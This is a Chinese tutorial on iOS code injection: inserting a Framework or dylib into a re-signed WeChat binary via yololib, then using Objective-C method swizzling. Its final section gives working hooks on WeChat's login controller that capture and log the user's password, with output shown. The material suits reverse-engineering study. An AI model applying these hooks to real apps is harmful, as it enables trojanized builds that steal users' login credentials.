一般修改原始程序,会利用代码注入的方式,注入代码就会选择利用FrameWork
或dylib
等三方库的方式注入。
注入原理
当运行重签名的App
时,想让它触发当前项目中的代码,例如:写在ViewController
的中代码,这是不可能的。因为项目中的App
在安装时会被重签名App
替换掉,它们根本不是一个MachO
文件。
代码注入原理:
使用
MachOView
分析可执行文件从
wx8.0.2.ipa
中导出MachOView
,可能会出现没有权限
的错误提示
解决方法,使用
MachOView
菜单中的File -> Open...
选择
成功解析
当
dyld
加载可执行文件时,先读取MachO
中的Header
,获取MachO
类型。然后读取Load Commands
,通过读取__PAGEZERO
、__TEXT
、__DATA
、__LINKEDIT
等段,可以得到MachO
的大小,代码段和数据段的位置,告知dyld
应该如何将MachO
加载到内存中。当dyld
读取代码段时,通过读取LC_MAIN
找到程序入口。所以读取Load Commands
几乎可以读取到MachO
的所有信息
dyld
除了加载MachO
,还要加载UIkit
、Foundation
等系统库,以及Frameworks
目录下的动态库
在
Load Commands
中,列出MachO
所依赖的所有系统库以及三方库
所以
dyld
会加载Load Commands
中包含的所有库。如果将注入的代码包装成一个动态库,将其插入到Load Commands
中,理论上动态库可以被加载,注入的代码也可以被执行
Framework注入
Framwork
注入流程:
- 通过
Xcode
新建Framwork
,将库安装进入App
包- 通过
yololib
注入Framwork
库路径
./yololib MachO文件路径 库路径
- 所有的
Framwork
加载都是由dyld
加载进入内存被执行的- 注入成功的库路径会写入到
MachO
文件的LC_LOAD_DYLIB
字段中案例1:
使用
Framework
注入代码打开自动重签名
Framework
动态库
命名
HOOK
动态库中创建
Class
,命名Inject
打开
Inject.m
文件,写入以下代码:```
import “Inject.h”
@implementation Inject
+(void)load{ NSLog(@”\n\n\n\n\n🍺🍺🍺🍺🍺\n\n\n\n\n”); }
@end
> 编译项目,在`App`包中的`Frameworks`目录,可以找到`HOOK.framework`动态库<br />

> 此时`HOOK`动态库中的代码还不能被执行,因为`MachO`的`Load Commands`中,还没有插入`HOOK`动态库的`LC_LOAD_DYLIB`字段
> 使用`yololib`给`MachO`注入动态库
> 将`MachO`文件,拷贝到`yololib`文件的同级目录<br />

> 注入动态库
>
./yololib WeChat Frameworks/HOOK.framework/HOOK
2021-04-22 17:14:52.339 yololib[22774:33058817] dylib path @executable_path/Frameworks/HOOK.framework/HOOK 2021-04-22 17:14:52.340 yololib[22774:33058817] dylib path @executable_path/Frameworks/HOOK.framework/HOOK Reading binary: WeChat
2021-04-22 17:14:52.341 yololib[22774:33058817] Thin 64bit binary! 2021-04-22 17:14:52.341 yololib[22774:33058817] dylib size wow 72 2021-04-22 17:14:52.341 yololib[22774:33058817] mach.ncmds 124 2021-04-22 17:14:52.341 yololib[22774:33058817] mach.ncmds 125 2021-04-22 17:14:52.341 yololib[22774:33058817] Patching mach_header.. 2021-04-22 17:14:52.399 yololib[22774:33058817] Attaching dylib..
2021-04-22 17:14:52.399 yololib[22774:33058817] size 71 2021-04-22 17:14:52.399 yololib[22774:33058817] complete!
> 查看`MachO`的`Load Commands`,成功将`HOOK`动态库插入到最后,路径是注入时设置的`参数2`<br />

> 解压缩`wx8.0.2.ipa`,将`MachO`文件替换,然后重新打包`ipa`<br />

> 将重新打包的`wx8.0.2.ipa`,拷贝到项目中`APP`目录<br />

> 真机运行项目,`App`安装成功,正常运行,同时打印注入代码<br />

#####dylib注入
> `dylib`注入流程:
> - 通过`Xcode`新建`dylib`库(注意:`dylib`属于`macOS`,所以需要修改属性)
> - 添加`Target`依赖,让`Xcode`将自定义`dylib`文件打包进入`App`包
> - 利用`yololib`进行注入
> 案例1:
> 使用`dylib`注入代码
> 打开自动重签名`WeChat`项目,创建`dylib`动态库<br />

> 命名`HOOK`<br />

> 在`Build Settings`中,将`Base SDK`设置项修改为`iOS`<br />

> 将`Code Signing Identity`设置项修改为`iOS Developer`<br />

> 切换到`App`的`Target`,选择`Build Phases`,点击`+`,选择`New Copy Files Phase`<br />

> 在`Copy Files`的`Destination`中,选择`Frameworks`<br />

> 点击`+`,选择`libHOOK.dylib`<br />

> 打开`HOOK.m`文件,写入以下代码
>
import “HOOK.h”
@implementation HOOK
+(void)load{ NSLog(@”\n\n\n\n\n🍺🍺 dylib 🍺🍺\n\n\n\n\n”); }
@end
> 使用`脚本注入`动态库:将`yololib`文件,拷贝到项目根目录<br />

> 打开`rsign.sh`文件,加入以下代码:
>
./yololib “$TARGET_APP_PATH/$APP_BINARY” “Frameworks/libHOOK.dylib”
> 真机运行项目,`App`安装成功,正常运行,同时打印注入代码<br />

#####Method Swizzle
利用`OC`的`Runtime`特性,动态改变`SEL`(方法编号)和`IMP`(方法实现)的对应关系,达到`OC`方法调用流程改变的目的。主要用于`OC`方法。
> 在`OC`中,`SEL`和`IMP`之间的关系,就好像一本书的“`目录`”<br />

> - `SEL`是方法编号,就像“`标题`”一样
> - `IMP`是方法实现的真实地址,就像“`页码`”一样
> - 它们是一一对应的关系
> `Runtime`提供了交换两个`SEL`和`IMP`对应关系的函数
>
OBJC_EXPORT void method_exchangeImplementations(Method _Nonnull m1, Method _Nonnull m2) OBJC_AVAILABLE(10.5, 2.0, 9.0, 1.0, 2.0);
> 通过这个函数交换两个`SEL`和`IMP`对应关系的技术,我们称之为`Method Swizzle`(方法欺骗)<br />

> 多种`HOOK`方式
> - `class_addMethod`方式:让原始方法可以被调用,不至于因为找不到`SEL`而崩溃
> - `class_replaceMethod`方式:直接给原始的方法替换`IMP`
> - `method_setImplementation`方式:直接重新赋值新的`IMP`
#####窃取登录密码
> 案例1:
> 点击登录按钮,输出用户输入的密码
> 延用`Framwork`代码注入的案例
> 打开`rsign.sh`文件,加入以下代码:
>
./yololib “$TARGET_APP_PATH/$APP_BINARY” “Frameworks/HOOK.framework/HOOK”
> 真机运行项目,进入登录页,使用`Debug View Hierarchy`动态调试
> 找到登录按钮的`Target`和`Action`<br />

> - `Target`:`WCAccountMainLoginViewController`
> - `Action`:`onNext`
> 想要打印密码框的内容,必须先找到密码框的位置,然后通过控件的属性拿到内容
> 【方式一】:动态调试
> 找到密码框的位置,找到存储内容的`text`属性<br />

> - 可以通过`响应链条`,根据左侧树状图结构,对`ViewController.view.subviews`进行递归遍历,找到符合条件的`WCUITextField`为止<br />

> 使用动态调试,虽然也能找到密码框的位置,但寻找的过程太过繁琐,不推荐使用
> 【方式二】:静态分析
> 目前通过动态分析,可以确定登录按钮和密码框都在`WCAccountMainLoginViewController`中
> 使用`class-dump`工具,通过`MachO`导出`OC`中所有类和方法列表以及成员变量
> 将`MachO`文件,拷贝到`class-dump`文件的同级目录<br />

> 导出`OC`中所有类和方法列表
>
./class-dump -H WeChat -o ./headers/
2021-04-25 13:51:24.070 class-dump[31659:33427860] Warning: Parsing instance variable type failed, ready_ 2021-04-25 13:51:26.308 class-dump[31659:33427860] Warning: Parsing instance variable type failed, underlying 2021-04-25 13:51:26.308 class-dump[31659:33427860] Warning: Parsing instance variable type failed, enable … 2021-04-25 13:52:09.288 class-dump[31659:33427860] Warning: Parsing method types failed, getKeyExtensionList: 2021-04-25 13:52:09.292 class-dump[31659:33427860] Warning: Parsing method types failed, getKeyExtensionList: 2021-04-25 13:52:09.292 class-dump[31659:33427860] Warning: Parsing method types failed, getExtensionListForSelector:
> 打开`headers`目录,列出所有导出的文件列表,找到`WCAccountMainLoginViewController`文件<br />

> 打开`WCAccountMainLoginViewController`文件,没有找到`WCUITextField`控件,但发现一个`WCAccountTextFieldItem`类型控件,名称为`_textFieldUserPwdItem`<br />

> 打开`WCAccountTextFieldItem`文件,还是没有找到`WCUITextField`控件,但它继承自`WCBaseTextFieldItem`类,我们要找的控件很有可能在父类中<br />

> 打开`WCBaseTextFieldItem`文件,找到`WCUITextField`控件<br />

> 使用代码之前,可以先结合`动态调试`,验证能否顺利获取到用户密码<br />

> 通过`动态调试`,成功获取密码框里的内容
> 使用代码,获取用户密码
> 打开`Inject`文件,写入以下代码:
>
import “Inject.h”
import
import
@implementation Inject
+(void)load{ Method wx_onNext = class_getInstanceMethod(objc_getClass(“WCAccountMainLoginViewController”), @selector(onNext)); Method my_onNext = class_getInstanceMethod(self, @selector(hook_onNext)); method_exchangeImplementations(wx_onNext, my_onNext); }
-(void)hook_onNext{ UITextField txtPwd = (UITextField )[[self valueForKey:@”_textFieldUserPwdItem”] valueForKey:@”m_textField”]; NSLog(@”密码:%@”, txtPwd.text); }
@end
> 真机运行项目,点击登录按钮
>
密码:123456
> 成功输出用户密码
> 案例2:
> 窃取密码后,希望可以调用原始的代码逻辑
> 日常开发中,方法交互一般写在当前类的分类中。由于交互后`hook_onNext`指向了`onNext`的`IMP`,所以代码中直接调用`hook_onNext`即可
> 打开`Inject`文件,修改`hook_onNext`方法:
>
-(void)hook_onNext{ UITextField txtPwd = (UITextField )[[self valueForKey:@”_textFieldUserPwdItem”] valueForKey:@”m_textField”]; NSLog(@”密码:%@”, txtPwd.text);
[self hook_onNext]; }
> 但是,`HOOK`动态库中的`Inject`文件,和`WCAccountMainLoginViewController`类没有任何关联。虽然`hook_onNext`指向`onNext`的`IMP`,但是调用`objc_msgSend`函数时,给`VC`发送`hook_onNext`,程序会因为找不到`SEL`而崩溃<br />

> 下面介绍三种方式,都可以解决上述问题
> 【方式一】:`class_addMethod`
> 既然`VC`中没有`hook_onNext`方法,可以使用`class_addMethod`函数给`VC`添加一个`hook_onNext`,调用时不会因为找不到`SEL`而崩溃
> 打开`Inject`文件,写入以下代码:
>
import “Inject.h”
import
import
@implementation Inject
+(void)load{ Method wx_onNext = class_getInstanceMethod(objc_getClass(“WCAccountMainLoginViewController”), @selector(onNext));
class_addMethod(objc_getClass(“WCAccountMainLoginViewController”), @selector(hook_onNext), hook_onNext, @”v@:”); Method my_onNext = class_getInstanceMethod(objc_getClass(“WCAccountMainLoginViewController”), @selector(hook_onNext));
method_exchangeImplementations(wx_onNext, my_onNext); }
void hook_onNext(id self, SEL _cmd){ UITextField txtPwd = (UITextField )[[self valueForKey:@”_textFieldUserPwdItem”] valueForKey:@”m_textField”]; NSLog(@”密码:%@”, txtPwd.text);
[self performSelector:@selector(hook_onNext)]; }
@end
> - 之前的`hook_onNext`方法,改为函数实现,增加`OC`方法的两个隐式参数
> - 使用`class_addMethod`函数,给`VC`增加`hook_onNext`方法,函数名即是`IMP`
> - 将`VC`下的`hook_onNext`和`onNext`进行方法交互
> - 在`hook_onNext`函数中,如果直接调用函数,调用的不是替换后的`IMP`,而是`hook_onNext`的`IMP`,这样会形成递归。所以想调用原始方法,要使用`objc_msgSend`或`performSelector`方式调用
> 真机运行项目,点击登录按钮,窃取密码后,调用原始的代码逻辑
>
密码:123456
> 
> 【方式二】:`class_replaceMethod`
> 将`VC`中`onNext`方法的`IMP`替换
> 打开`Inject`文件,写入以下代码:
>
import “Inject.h”
import
import
@implementation Inject
IMP (*oldImp)(id self, SEL _cmd);
+(void)load{ oldImp = class_replaceMethod(objc_getClass(“WCAccountMainLoginViewController”), @selector(onNext), hook_onNext, @”v@:”); }
void hook_onNext(id self, SEL _cmd){ UITextField txtPwd = (UITextField )[[self valueForKey:@”_textFieldUserPwdItem”] valueForKey:@”m_textField”]; NSLog(@”密码:%@”, txtPwd.text);
oldImp(self, _cmd); }
@end
> - 声明`IMP`类型的`oldImp`函数指针
> - 使用`class_replaceMethod`函数,直接将`onNext`的`IMP`替换为`hook_onNext`的`IMP`,将返回的原始`IMP`赋值给`oldImp`
> - 在`hook_onNext`函数中,想调用原始方法,直接调用`oldImp`并传入隐式参数即可
> 【方式三】:`method_setImplementation`
> 获取原始的`IMP`,重新赋值新`IMP`
> 打开`Inject`文件,写入以下代码:
>
import “Inject.h”
import
import
@implementation Inject
IMP (*oldImp)(id self, SEL _cmd);
+(void)load{ Method wx_onNext = class_getInstanceMethod(objc_getClass(“WCAccountMainLoginViewController”), @selector(onNext)); oldImp = method_getImplementation(wx_onNext);
method_setImplementation(wx_onNext, hook_onNext); }
void hook_onNext(id self, SEL _cmd){ UITextField txtPwd = (UITextField )[[self valueForKey:@”_textFieldUserPwdItem”] valueForKey:@”m_textField”]; NSLog(@”密码:%@”, txtPwd.text);
oldImp(self, _cmd); }
@end ```
- 使用
method_getImplementation
函数,获取onNext
的IMP
,赋值给oldImp
- 使用
method_setImplementation
函数,直接赋值hook_onNext
的IMP
总结
注入原理:
Xcode
将注入的动态库打包进App
包中MachO
的Load Commands
中,包含注入动态库的LC_LOAD_DYLIB
字段- 由
DYLD
加载注入的动态库注入方式:
Framework
注入dylib
注入
Framwork
注入流程:
- 通过
Xcode
新建Framwork
,将库安装进入App
包- 通过
yololib
注入Framwork
库路径
dylib
注入流程:
- 通过
Xcode
新建dylib
库(注意:dylib
属于macOS
,所以需要修改属性)- 添加
Target
依赖,让Xcode
将自定义dylib
文件打包进入App
包- 利用
yololib
进行注入案例,窃取登录密码:
- 分析思路
- 动态调试,界面入手
- 静态分析,使用
class-dump
,通过MachO
导出OC
的类和方法列表
Method Swizzle
- 使用
method_exchangeImplementations
交互SEL
和IMP
对应关系,此方式存在隐患,如果不在同一个类,无法调用原始方法,因为找不到SEL
而崩溃- 使用
class_addMethod
添加方法,不至于因为找不到SEL
而崩溃。过程比较复杂,不推荐使用- 使用
class_replaceMethod
替换SEL
的IMP
- 使用
method_getImplementation
和method_setImplementation
配合,直接重新赋值新的IMP
。逻辑清晰,大部分HOOK
框架使用此方式,推荐使用